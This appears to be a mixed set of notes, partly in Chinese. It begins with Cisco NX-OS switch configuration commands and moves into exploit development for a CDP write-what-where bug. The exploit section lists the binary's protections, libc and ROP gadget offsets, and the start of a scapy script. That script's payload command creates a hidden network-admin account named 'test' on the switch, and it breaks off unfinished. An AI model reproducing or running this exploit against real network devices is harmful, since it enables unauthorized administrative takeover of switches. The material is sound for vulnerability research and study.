switch# conf t Enter configuration commands, one per line. End with CNTL/Z. switch(config)# interface mgmt0 switch(config-if)# ip address 10.0.2.15/24 <--- NOTE: can use "ip address dhcp" here instead switch(config-if)in# no shut switch(config-if)# end switch# conf t Enter configuration commands, one per line. End with CNTL/Z. switch(config)# username vagrant password vagrant role network-admin switch(config)# username vagrant shell bash switch(config)# boot nxos bootflash:nxos.7.0.3.I2.2d.bin <--- Note: use correct image name from "dir" command output switch(config)# copy r s [########################################] 100% Copy complete. switch(config)#
逆向
直接反汇编bin有坑,需要gdbdump了看dump。
漏洞
1
*(&a1->levels + counter) = *(&ptr + counter);// write what where
这里可以任意地址写。
利用
1 2 3 4 5 6
Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled RPATH: b'/isan/lib/convert:/isan/lib:/isanboot/lib'
from scapy.contrib import cdp from scapy.allimport Ether, LLC, SNAP, sendp from time import sleep import struct
offset_to_cmd = 40# TODO libc_bss_offset = 0x001B4EE0 + 0x200# use for a1 system_offset = 0x0003C790# system func
pr_offset = 0x00021b07# pop eax; ret # pppr_offset_offset = 0x000df5d2 # pop ebp ; pop edi ; pop ebx ; ret ppr_offset_offset = 0x000f5e5a# pop ebp ; pop ebx ; ret
cmd = '/isan/bin/vsh -c "configure terminal ; username test password qweASD123 role network-admin"'